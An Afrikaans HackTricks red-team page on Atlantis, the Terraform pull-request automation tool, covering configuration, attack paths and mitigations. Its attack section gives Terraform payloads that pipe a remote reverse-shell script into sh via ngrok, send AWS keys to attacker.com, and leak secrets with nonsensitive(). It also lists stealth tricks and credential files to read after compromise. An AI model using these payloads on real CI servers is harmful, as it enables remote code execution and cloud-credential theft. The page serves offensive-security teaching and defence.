Atlantis Security

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Atlantis help jou basies om terraform vanaf Pull Requests van jou git-bediener te hardloop.

Plaaslike Laboratorium

  1. Gaan na die atlantis vrystellingsbladsy by https://github.com/runatlantis/atlantis/releases en laai af die een wat by jou pas.

  2. Skep 'n persoonlike token (met repo-toegang) van jou github gebruiker

  3. Voer ./atlantis testdrive uit en dit sal 'n demonstrasie-repo skep wat jy kan gebruik om met atlantis te praat

  4. Jy kan die webbladsy besoek by 127.0.0.1:4141

Atlantis Toegang

Git-Bediener Gelde

Atlantis ondersteun verskeie git-gashere soos Github, Gitlab, Bitbucket en Azure DevOps. Nietemin, om toegang tot die repositories op daardie platforms te verkry en aksies uit te voer, moet daar aan hulle 'n sekere bevoorregte toegang verleen word (ten minste skryftoestemmings). Die dokumente moedig aan om 'n gebruiker in hierdie platforms spesifiek vir Atlantis te skep, maar sommige mense mag persoonlike rekeninge gebruik.

In enige geval, vanuit 'n aanvaller se perspektief, gaan die Atlantis-rekening een wees wat baie interessant is om te kompromiteer.

Webhooks

Atlantis gebruik opsioneel Webhook-geheime om te valideer dat die webhooks wat dit van jou Git-bediener ontvang, wettig is.

Een manier om dit te bevestig sou wees om versoeke slegs vanaf die IP-adresse van jou Git-bediener toe te laat, maar 'n makliker manier is om 'n Webhook-geheim te gebruik.

Let daarop dat tensy jy 'n privaat github- of bitbucket-bediener gebruik, sal jy die webhook-eindpunte aan die internet moet blootstel.

Atlantis gaan webhooks blootstel sodat die git-bediener dit inligting kan stuur. Vanuit 'n aanvaller se perspektief sou dit interessant wees om te weet of jy dit kan gebruik om boodskappe te stuur.

Verskaffer Gelde

Vanuit die dokumente:

Atlantis hardloop Terraform deur eenvoudigweg terraform plan en apply-opdragte op die bediener waarop Atlantis gehuisves is uit te voer. Net soos wanneer jy Terraform plaaslik hardloop, benodig Atlantis gelde vir jou spesifieke verskaffer.

Dit is aan jou hoe jy gelde voorsien vir jou spesifieke verskaffer aan Atlantis:

  • Die Atlantis Helm Grafiek en AWS Fargate Module het hul eie meganismes vir verskaffer gelde. Lees hul dokumente.

  • As jy Atlantis in 'n wolk hardloop, het baie wolke maniere om wolk-API-toegang te gee aan programme wat op hulle hardloop, bv:

  • AWS EC2 Rolle (Soek na "EC2 Rol")

  • Baie gebruikers stel omgewingsveranderlikes in, bv. AWS_ACCESS_KEY, waar Atlantis hardloop.

  • Ander skep die nodige konfigurasie lêers, bv. ~/.aws/credentials, waar Atlantis hardloop.

  • Gebruik die HashiCorp Vault Verskaffer om verskaffer gelde te verkry.

Die houer waar Atlantis op hardloop sal hoogstwaarskynlik bevoorregte gelde vir die verskaffers (AWS, GCP, Github...) wat Atlantis via Terraform bestuur, bevat.

Webbladsy

Standaard sal Atlantis 'n webbladsy in poort 4141 in plaaslike host hardloop. Hierdie bladsy laat jou net toe om atlantis apply aan en af te skakel en die planstatus van die repositories te kontroleer en hulle te ontgrendel (dit laat nie toe om dinge te wysig nie, so dit is nie baie nuttig nie).

Jy sal dit waarskynlik nie aan die internet blootgestel vind nie, maar dit lyk asof standaard geen gelde nodig is om dit te benader (en as dit wel is, is atlantis:atlantis die standaard een).

Bedienerkonfigurasie

Konfigurasie vir atlantis bediener kan gespesifiseer word deur middel van opdraglynvlaggies, omgewingsveranderlikes, 'n konfig-lêer of 'n mengsel van die drie.

Waardes word in hierdie volgorde gekies:

  1. Vlaggies

  2. Omgewingsveranderlikes

  3. Konfig-lêer

Let daarop dat in die konfigurasie jy moontlik interessante waardes soos tokkens en wagwoorde kan vind.

Repos Konfigurasie

Sommige konfigurasies beïnvloed hoe die repositories bestuur word. Dit is egter moontlik dat elke repo verskillende instellings benodig, dus is daar maniere om elke repo te spesifiseer. Dit is die prioriteitsvolgorde:

  1. Repo /atlantis.yml lêer. Hierdie lêer kan gebruik word om te spesifiseer hoe atlantis die repo moet hanteer. Tog kan sommige sleutels nie hier gespesifiseer word sonder sekere vlaggies wat dit toelaat nie.

  2. Waarskynlik nodig om toegelaat te word deur vlaggies soos allowed_overrides of allow_custom_workflows

  3. Bedienerkant Konfig: Jy kan dit deurgee met die vlag --repo-config en dit is 'n yaml wat nuwe instellings vir elke repo konfigureer (regexes ondersteun)

  4. Verstek waardes

PR Beskerming

Atlantis maak dit moontlik om aan te dui of jy wil hê dat die PR deur iemand anders goedgekeur moet word (selfs al is dit nie ingestel in die takbeskerming nie) en/of saamvoegbaar moet wees (takbeskerming geslaag) voordat die toepassing uitgevoer word. Vanuit 'n veiligheidsoogpunt word dit aanbeveel om beide opsies in te stel.

In die geval dat allowed_overrides Waar is, kan hierdie instellings oor geskryf word op elke projek deur die /atlantis.yml lêer.

Skripte

Die repo-konfigurasie kan skripte spesifiseer om uit te voer voor (voor werkstroom hakies) en na (na werkstroom hakies) 'n werkstroom uitgevoer word.

Daar is nie 'n opsie om toe te laat om hierdie skripte in die repo /atlantis.yml lêer te spesifiseer nie.

Werkvloei

In die repo-konfigurasie (bedienerkant-konfigurasie) kan jy 'n nuwe verstek-werkvloei spesifiseer, of nuwe aangepaste werkvloei skep. Jy kan ook spesifiseer watter repos kan toegang hê tot die nuwe gegenereerdes. Daarna kan jy die atlantis.yaml lêer van elke repo toelaat om die werkvloei te spesifiseer wat gebruik moet word.

Indien die bedienerkant-konfigurasie vlag allow_custom_workflows op Waar ingestel is, kan werkvloei in die atlantis.yaml lêer van elke repo gespesifiseer word. Dit is ook moontlik dat allowed_overrides ook werkvloei moet spesifiseer om die werkvloei wat gebruik gaan word, te oorheers. Dit sal basies RCE in die Atlantis-bediener aan enige gebruiker wat toegang tot daardie repo het, gee.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Conftest Beleidskontrole

Atlantis ondersteun die hardloop van bedienerkant conftest beleide teen die plan uitset. Algemene gevalle vir die gebruik van hierdie stap sluit in:

  • Weiering van die gebruik van 'n lys modules

  • Bevestiging van eienskappe van 'n hulpbron tydens skepping

  • Vang van onbedoelde hulpbronverwyderings

  • Voorkoming van sekuriteitsrisiko's (d.w.s. blootstelling van veilige poorte aan die publiek)

Jy kan sien hoe om dit te konfigureer in die dokumentasie.

Atlantis Opdragte

In die dokumentasie kan jy die opsies vind wat jy kan gebruik om Atlantis te hardloop:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Aanvalle

Indien jy tydens die uitbuiting hierdie fout vind: Fout: Fout met die verkryging van die toestandsluiting

Jy kan dit regmaak deur die volgende uit te voer:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Konfigurasiewysiging in nuwe PR

Indien jy skryftoegang het tot 'n bewaarplek, sal jy in staat wees om 'n nuwe tak daarop te skep en 'n PR te genereer. As jy atlantis plan kan uitvoer (of dit word dalk outomaties uitgevoer) sal jy binne die Atlantis-bediener kan RCE.

Jy kan dit doen deur Atlantis om 'n eksterne data-bron te laat laai. Plaas net 'n lading soos die volgende in die main.tf lêer:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Stiller Aanval

Jy kan hierdie aanval selfs op 'n stiller manier uitvoer deur hierdie voorstelle te volg:

  • In plaas daarvan om die rev shell direk in die terraform-lêer by te voeg, kan jy 'n eksterne bron laai wat die rev shell bevat:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Jy kan die rev shell-kode vind in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • In die eksterne bron, gebruik die ref funksie om die terraform rev shell-kode in 'n tak binne die repo te verberg, iets soos: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

  • In plaas daarvan om 'n PR na meester te skep om Atlantis te trigger, skep 2 takke (test1 en test2) en skep 'n PR van een na die ander. Wanneer jy die aanval voltooi het, verwyder net die PR en die takke.

Atlantis plan Geheime Uitlek

Jy kan geheime wat deur terraform gebruik word uitlek deur atlantis plan (terraform plan) uit te voer deur iets soos hierdie in die terraform-lêer te plaas:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis pas RCE toe - Konfigurasiewysiging in nuwe PR

Indien jy skryftoegang het tot 'n bewaarplek, sal jy in staat wees om 'n nuwe tak daarop te skep en 'n PR te genereer. As jy atlantis apply kan uitvoer, sal jy binne die Atlantis-bediener RCE kan uitvoer.

Gewoonlik sal jy egter sekere beskermings moet omseil:

  • Mergeable: As hierdie beskerming in Atlantis ingestel is, kan jy slegs atlantis apply hardloop as die PR mergeable is (wat beteken dat die takbeskerming omseil moet word).

  • Kontroleer potensiële takbeskermingsomseilings

  • Goedgekeur: As hierdie beskerming in Atlantis ingestel is, moet 'n ander gebruiker die PR goedkeur voordat jy atlantis apply kan hardloop

Hardloop terraform apply op 'n skadelike Terraform-lêer met local-exec. Jy hoef net te verseker dat 'n sekere lading soos die volgende in die main.tf-lêer eindig:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Volg die aanbevelings van die vorige tegniek om hierdie aanval op 'n meer onopvallende manier uit te voer.

Terraform Param Injection

Wanneer atlantis plan of atlantis apply uitgevoer word, word terraform agter-die-skerm uitgevoer, jy kan bevele na terraform deurgee vanaf atlantis deur iets soos te kommentarieer:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Iets wat jy kan deurgee is omgewingsveranderlikes wat nuttig kan wees om sekere beskermings te omseil. Kyk na terraform omgewingsveranderlikes in https://www.terraform.io/cli/config/environment-variables

Aangepaste Werkvloei

Die uitvoer van skadelike aangepaste bou-opdragte wat gespesifiseer is in 'n atlantis.yaml lêer. Atlantis gebruik die atlantis.yaml lêer van die trekversoek-tak, nie van master. Hierdie moontlikheid is genoem in 'n vorige afdeling:

As die bedienerkant konfig vlag allow_custom_workflows op True ingestel is, kan werkvloei in die atlantis.yaml lêer van elke repo gespesifiseer word. Dit is ook moontlik nodig dat allowed_overrides ook workflow spesifiseer om die werkvloei wat gebruik gaan word, te oorheers.

Dit sal basies RCE in die Atlantis-bedieners aan enige gebruiker wat daardie repo kan bereik, gee.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Bypass plan/apply beskerming

Indien die bedienerkant-konfig vlag allowed_overrides het apply_requirements geconfigureer, is dit moontlik vir 'n repo om die plan/apply beskerming te bypass.

repos:
- id: /.*/
apply_requirements: []

PR Ontvoering

Indien iemand atlantis plan/apply kommentaar op jou geldige pull-aanvrae stuur, sal dit veroorsaak dat terraform loop wanneer jy dit nie wil nie.

Verder, indien jy nie gekonfigureer het in die takbeskerming om te vra om te heroorweeg elke PR wanneer 'n nuwe commit daarna gedruk word, kan iemand boosaardige opsette (kyk na vorige scenario's) in die terraform opstel, atlantis plan/apply hardloop en RCE verkry.

Dit is die instelling in Github takbeskerming:

Webhook Geheim

As jy daarin slaag om die webhook-geheim te steel wat gebruik word of as daar geen webhook-geheim gebruik word nie, kan jy die Atlantis webhook oproep en atlantis-opdragte direk aanroep.

Bitbucket

Bitbucket Cloud ondersteun nie webhook-geheime nie. Dit kan aanvallers toelaat om versoek van Bitbucket te vervalste. Maak seker dat jy slegs Bitbucket IP-adresse toelaat.

  • Dit beteken dat 'n aanvaller vals versoek aan Atlantis kan maak wat lyk asof dit van Bitbucket afkomstig is.

  • As jy --repo-allowlist spesifiseer, kan hulle slegs vals versoek maak wat betrekking het op daardie repos, sodat die meeste skade wat hulle kan aanrig, is om plan/apply op jou eie repos te doen.

  • Om dit te voorkom, lys Bitbucket se IP-adresse op (sien Uitgaande IPv4-adresse).

Post-Exploitation

As jy daarin geslaag het om toegang tot die bediener te kry of ten minste 'n LFI daar het, is daar 'n paar interessante dinge wat jy moet probeer lees:

  • /home/atlantis/.git-credentials Bevat vcs-toegangskrediete

  • /atlantis-data/atlantis.db Bevat vcs-toegangskrediete met meer inligting

  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform staatlêer

  • Voorbeeld: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

  • /proc/1/environ Omgewingsveranderlikes

  • /proc/[2-20]/cmdline Cmd-lyn van atlantis server (kan sensitiewe data bevat)

Versagtings

Moet Nie Op Openbare Repos Gebruik Word

Omdat enigiemand kommentaar kan lewer op openbare pull-aanvrae, selfs met al die beskikbare sekuriteitsversagtings, is dit steeds gevaarlik om Atlantis op openbare repos te hardloop sonder behoorlike konfigurasie van die sekuriteitsinstellings.

Moet Nie --allow-fork-prs Gebruik Nie

As jy op 'n openbare repo hardloop (wat nie aanbeveel word nie, sien hierbo) moet jy nie --allow-fork-prs instel (verstek na vals) omdat enigiemand 'n pull-aanvraag van hul vurk na jou repo kan oopmaak.

--repo-allowlist

Atlantis vereis dat jy 'n lys van toegelate repositoriums spesifiseer waarvan dit webhooks sal aanvaar via die --repo-allowlist vlag. Byvoorbeeld:

  • Spesifieke repositoriums: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

  • Jou hele organisasie: --repo-allowlist=github.com/runatlantis/*

  • Elke repositorium in jou GitHub Enterprise-installasie: --repo-allowlist=github.yourcompany.com/*

  • Alle repositoriums: --repo-allowlist=*. Nuttig wanneer jy in 'n beskermde netwerk is, maar gevaarlik sonder om ook 'n webhook-geheim in te stel.

Hierdie vlag verseker dat jou Atlantis-installasie nie met repositoriums gebruik word wat jy nie beheer nie. Sien atlantis server --help vir meer inligting.

Beskerm Terraform Beplanning

As aanvallers pull-aanvrae indien met boosaardige Terraform-kode in jou dreigingsmodel is, moet jy bewus wees dat terraform apply goedkeurings nie genoeg is nie. Dit is moontlik om boosaardige kode in 'n terraform plan te hardloop deur die external data bron te gebruik of deur 'n boosaardige verskaffer te spesifiseer. Hierdie kode kan dan jou geloofsbriewe uitlees.

Om dit te voorkom, kan jy:

  1. Verskaffers in die Atlantis-beeld baklei of gasheer en uitgaande in produksie ontken.

  2. Implementeer die verskafferregisterprotokol intern en ontken openbare uitgaande verkeer, sodat jy beheer wie skryftoegang tot die register het.

  3. Wysig jou bedienerkant-repo-konfigurasie's plan-stap om te valideer teen die gebruik van verbode verskaffers of data-bronne of PR's van nie toegelate gebruikers nie. Jy kan ook op hierdie punt ekstra validering byvoeg, bv. 'n "duim-op" op die PR vereis voordat die plan kan voortgaan. Conftest kan hier nuttig wees.

Webhook-Geheime

Atlantis moet met Webhook-geheime hardloop word wat ingestel is via die $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET omgewingsveranderlikes. Selfs met die --repo-allowlist vlag ingestel, sonder 'n webhook-geheim, kan aanvallers versoek aan Atlantis maak wat voordoen as 'n repositorium wat toegelaat is. Webhook-geheime verseker dat die webhook-versoeke werklik van jou VCS-leweransier (GitHub of GitLab) afkomstig is.

Indien jy Azure DevOps gebruik, voeg in plaas van webhook-geheime 'n basiese gebruikersnaam en wagwoord by.

Azure DevOps Basiese Verifikasie

Azure DevOps ondersteun die stuur van 'n basiese verifikasie-kop in alle webhook-gebeure. Dit vereis dat jy 'n HTTPS-URL vir jou webhook-plek gebruik.

SSL/HTTPS

As jy webhook-geheime gebruik, maar jou verkeer is oor HTTP, kan die webhook-geheime gesteel word. Skakel SSL/HTTPS in deur die --ssl-cert-file en --ssl-key-file vlae te gebruik.

Skakel Verifikasie op Atlantis-webbediener in

Dit word sterk aanbeveel om verifikasie in die webdiens in te skakel. Skakel Basiese Verifisering in deur die --web-basic-auth=true te gebruik en stel 'n gebruikersnaam en wagwoord in met die --web-username=yourUsername en --web-password=yourPassword vlae.

Jy kan dit ook as omgewingsveranderlikes deurgee ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername en ATLANTIS_WEB_PASSWORD=yourPassword.

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated